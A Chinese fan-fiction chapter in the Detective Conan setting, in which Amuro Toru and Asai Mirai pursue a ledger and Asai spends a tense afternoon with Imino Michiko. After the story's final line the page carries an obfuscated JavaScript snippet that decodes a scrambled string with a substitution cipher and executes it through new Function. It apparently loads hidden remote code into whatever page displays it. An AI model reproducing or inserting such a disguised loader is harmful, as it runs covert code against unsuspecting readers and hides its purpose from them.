安室透此时才意识到——
自己恐怕是这间屋子里暴露最多的人。
被忌野美千子和浅井未来隔绝在他的视线之外的忌野秀禾暂且不表,他还是希望对方如果美千子所说,是温和有礼的好青年,关键是围绕在他任务中心的两个女性人物。
他自以为迷恋他、虽然警惕但有机会套话的大小姐忌野美千子,以及他以为柔弱又无助、如同飘絮一样会卷入风暴的浅井未来。
经历过复杂的心理斗争之后,安室透快刀斩乱麻地做出决定,让这两个人自己独处吧,他就不参与这种听起来就很腥风血雨的交谈了!忌野美千子这条线看起来用不上了,他不如宴会当天跟着浅井未来的行踪,得到账本的可能性还比较大。
不过还是希望这位根本没把他放在心上的大小姐能够履行她的承诺,但到现在,安室透已经做好这次任务会失败的准备。
话又说回来,朗姆给他这次任务的时候似乎说了很奇怪的话。
“——安室,这次的任务很重要,你必须抢在所有人前面把账本掌握在自己手里。”
乍一听没什么问题,安室透当时的注意力完全被后面朗姆口中的组织代号和干部考核给吸引住了。朗姆在布置任务的时候一向不会解释太多,这点似乎所有的组织成员都一样,他原本以为朗姆特意强调任务的重要性是因为跟组织代号的评价挂上钩。
“并不是这么一回事……【所有人前面】才是重点,但为什么要特意说出这一点呢?”
找了个借口离开浅井未来和忌野美千子,安室透漫无目的地走在街道上,握着拳头抵着自己的下巴,细细思索。
而另一边,咖啡店内。
浅井未来捏着咖啡杯:“……”
她真的要记仇了!她真会给安室透使绊子的!哪有这种把人约出来找了个借口开溜的行为,是生怕自己的动静还不够明显是么?还是说……
她抬眼瞥了一眼忌野美千子,接触到对方灼灼的目光,跟被火燎了一样倏地移开眼神,好了她明白了,今天这场约会绝对是忌野美千子唆使的。
忌野美千子——按照忌野秀禾的说法,是一位个性十足的女性,有着像父亲一样的雷厉风行和果断直爽,同时也有外界不知道的一面。
“唔……该怎么说?”忌野秀禾苦恼地皱着眉头,思考着能够准确评价他妹妹性格的措辞,“性格恶劣也不太算,在我看来顶多是有些小性子而已,不过除我之外的人可能会觉得会受到冒犯吧。”
指的是会在谈话空间安监听设备的冒犯吗?她理解了。
浅井未来笑眯眯地盯着桌面,似乎要把桌布上的花纹烙在她的脑袋里。和安室透不同的是,她在进入那个空间的时候,就听到耳蜗放置的机器传来的杂音,于是开启了干扰破坏装置。
在安室透断掉通讯之后的对话的实际情况是——
安室透以为除了和他没有立场冲突的浅井未来之外,没有第二个人知道这场对话。
明明应该知道这场对话的忌野美千子会发现设备突然损坏。
以及知道一切的浅井未来。
如果她没有猜错的话,忌野小姐应该听到了个开头,也就是说“安室透在外面有和别的女人疑似暧昧”的行为对方应该知道,但忌野小姐看起来丝毫不在意。
浅井未来:“……”不想猜了,好想跑啊。
真的好麻烦。
果然组织的干部考核没有简单的,这和她“记忆里”那些支援任务完全不一样,不光是行动上的不顺,还有局势的不停变动,以及暗中的对手……浅井未来的脑细胞已经死掉不少,要不是她觉得必须得到这个代号,她早就……
[魅力判定成功。]
[忌野美千子对你有了判断。]
噗嗤——
观察许久之后,忌野美千子似乎得出自己想要的答案,她突然笑了出来,一双好看的眼睛弯成两道完美的月牙,把身上那几分凌厉冲淡不少:“浅井小姐似乎和我同龄是吧,我能直接称呼浅井小姐的名字吗?顺带一提,你也可以直接叫我美千子哦,不然会和哥哥的称呼一样吧?”
“我不是很在意称谓,随您喜欢都可以。”浅井未来在对方一眨不眨的眼神中凝固几秒,努力勾起嘴角,艰难地从喉咙挤出话来,“美千子。”
忌野美千子肉眼可见地满意起来,她将桌上的蛋糕亲切地分成两份,一份推到浅井未来的面前,不太在意地提起:“哥哥有跟你提起我,所以浅井才这样警惕我是吧?像是发现我做了什么坏事一样的表情呢。”
敏锐又警惕,却有着超乎寻常的魅力,难怪忌野秀禾会对她这么着迷。不说她单纯的哥哥,就连她自己看到这样美好的女性,也会忍不住向往。
浅井未来缓缓地在忌野美千子脸上审视一圈,随后才移开目光,用手端起那份糕点,将一口混杂着奶油和抹茶、微微泛着苦涩的蛋糕送进嘴里,含糊不清地说道:“如果真的做了坏事还这样问出来的话,美千子就跟忌野先生说的一样恶劣了。”
没有承认也没有否认,浅井未来给了一个似是而非的、超出忌野美千子预料的答案,她讶然地看了少女一眼,身子微微前倾:“哥哥说我恶劣吗?”
少女猛地往后,和忌野美千子拉开距离,在回答对方的问题前,她拿起桌上的茶杯喝了一大口水,冲散了挤压在喉咙处的阻塞感,面无表情地用手指将忌野美千子摁回原位:“在他看来更像是小女生的恶作剧,我的话就不评价了。”
“诶——”
忌野美千子失望地拉了个长音,如同滚烫的沸水里突然冒出的气泡,隐匿进这间午后略显嘈杂的咖啡店里。
她做这些活灵活现的、甚至略显古怪的表情并不奇怪,忌野家的这对兄妹不论是放游戏里还是现实中都是顶级的待攻略对象,只不过在现实,就变成了浅井未来恨不得离得远远的靶子。
和这对兄妹相处起来的感觉是很不一样的,她基本上在忌野秀禾面前维持了礼貌的表象,和对方的相处也不会有什么需要她提心吊胆的地方,她更多在思考的是用什么借口问出保险箱的密码——总不能直接说我想要开你家保险箱吧?
对方说不定会给她答案呢,不不,浅井未来摇了摇头,她就算是万人迷也做不到这种程度,这简直是洗脑了。
说到洗脑……少女确实有想过不如问问组织有没有类似吐●剂的东西,反正这个世界的世界观在她看来简直稀碎,这种东西肯定有吧?一定有吧!
至于需要她提心吊胆的——
浅井未来侧头微微打量着走在她旁边的忌野美千子,从咖啡店并排走出来的时候,她才发现忌野美千子足足比她高了半个脑袋,加上独特的风格,看起来就像哪里的平面模特一样引人注意。
当然,如果这位小姐能闭嘴是再好不过了。
浅井未来假笑地听着忌野美千子的若有若无的试探:“浅井觉得哥哥怎么样呢?昨天只是打了个照面,没怎么看你们两个的相处。诶、诶——如果觉得冒犯的话,也可以不用回答。”
“当然是——”
浅井未来转头,对上了忌野美千子琉璃一样的眼睛,倏地将后面的字句堵在喉间。
人是柔弱的,而柔弱的人会演变出不同的生存方式,浅井未来在意识到这个世界的现实之后,已经隐隐有了感觉,对她来说,恐怕她最得意的特长就是对情绪的感知。
那是一种近乎直觉式的触感,让她在琴酒的威逼下插科打诨,见势不对也能用抽筋掩盖过去,同时……也让她在此时心领神会地卸下了脸上肤浅的笑容。
“他是个好人。”浅井未来认真地说道。
忌野美千子愣住:“……诶?”
“两位小姐!”
还没等她反应过来,一个陌生又突兀的男声打断了她。挡在她跟浅井未来面前的是一名流里流气、染着金色头发、用粗劣发胶把头发捋到一边的青年。
通常这种事情是不会发生在白天的,忌野美千子这才发现她们两个不知不觉走到了偏僻的街道,不知道被哪里窜出来的流氓青年用一个自以为是的耍帅方式给拦住去路。
“两位小姐如果有空的话,要不要跟我找个地方坐坐?”
忌野美千子:“……”
什么啊?这什么三流的剧情,这种只在小说中看到的情节居然是真实存在的吗?现在这样的人都有勇气上街来搭讪了?可别把浅井小姐……等等、浅井小姐?
忌野美千子侧头看去,发现浅井未来脸上带着熟悉又疲惫的笑容,她打量面前那名流氓青年的眼神就像是每天日课准时出现在家门口的npc一样。
“不好意思,我们不……”
浅井未来刚开口,那名青年便将脸凑上来,居高临下地发出怪声:“你是想拒绝我吗?”
好久没有感受到这种突如其来的野外搭讪。不得不说,现在的搭讪比起浅井未来之前碰到的那种,高出了好几个级别。
她在思考如何委婉地拒绝这位高等级流氓,站在她旁边的忌野美千子双手抱臂,直接不耐烦地挑起眉毛:“是啊,我们就是要拒绝你。”
从小接受正统精英家族继承者教育的忌野美千子在武力方面也很可观,确定面前的流氓青年没有带任何锐物之后,她毫不客气地呵斥了对方。
“你说什——”青年恼羞成怒。
“不好意思。”
浅井未来握住了忌野美千子的手,上前半步站在前面,抬头朝对方露出笑容:“这位先生应该是说错话了,不然怎么会邀请两位素未谋面的女性喝茶呢?这里是闹市区,治安也不错,况且现在基本上女性出游都会带着报警系统,怎么看都很安全,您说是吧?”
她翠绿的瞳孔里没有笑意。
青年被那抹绿刺得突然清醒,自己是怎么尾随她们走到这里,又是什么大着胆子拦在这两名看起来穿着不菲的小姐面前,又是怎么压不住火气想要动怒……这些仿佛是被催化剂影响过的情绪让他迷糊,而现在他僵在原地,眼睁睁地看着面前那名娇小的女性维持着美丽又可怖的笑容。
可他分明就是被这位娇小的小姐给吸引住了目光,为什么这时候又清醒的感到恐惧?
“那先告辞了。”
浅井未来拉着忌野美千子的手绕过青年,自然地接上了之前的话题:“忌野先生是个好人,准确来说,他是个我不论如何都不想伤害、也非常尊重的朋友。”
忌野美千子:“……”
“我并不是在说大话,也不想说一些会让美千子恶心的漂亮话,事实上,我知道忌野先生是个好人,他对所有人的爱都平等的挥洒,只是落在我身上的那份或许更特别一点。我并不明白哪里吸引住了他,毕竟忌野先生和您一样是个聪明人。”
这些话说给忌野美千子听真的合适吗?浅井未来不知道,她只是顺着自己的直觉,一股脑地将这些天憋在心里的话全都倾吐了出来。
“浅井小姐。”美千子仿佛游魂一样,迟缓又悠长地开口,说出的字节组成不明所以的锁链,一点一点锈蚀在浅井未来的脖颈上,“哥哥有没有说过,我跟他的喜好几乎一模一样。”
“——?”
浅井未来停住脚步,转身微微抬眼,阳光从左侧一大片玻璃橱窗泼洒下来,照得美千子左侧的脸朦胧一片,她双手握住了浅井未来那只牵她的手。
“哥哥可以的话,我也可以吧?”
浅井未来:“……”
醒醒,你在说什么啊——??这很吓人的?喂!没有这种支线吧??
浅井未来开始慌了。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();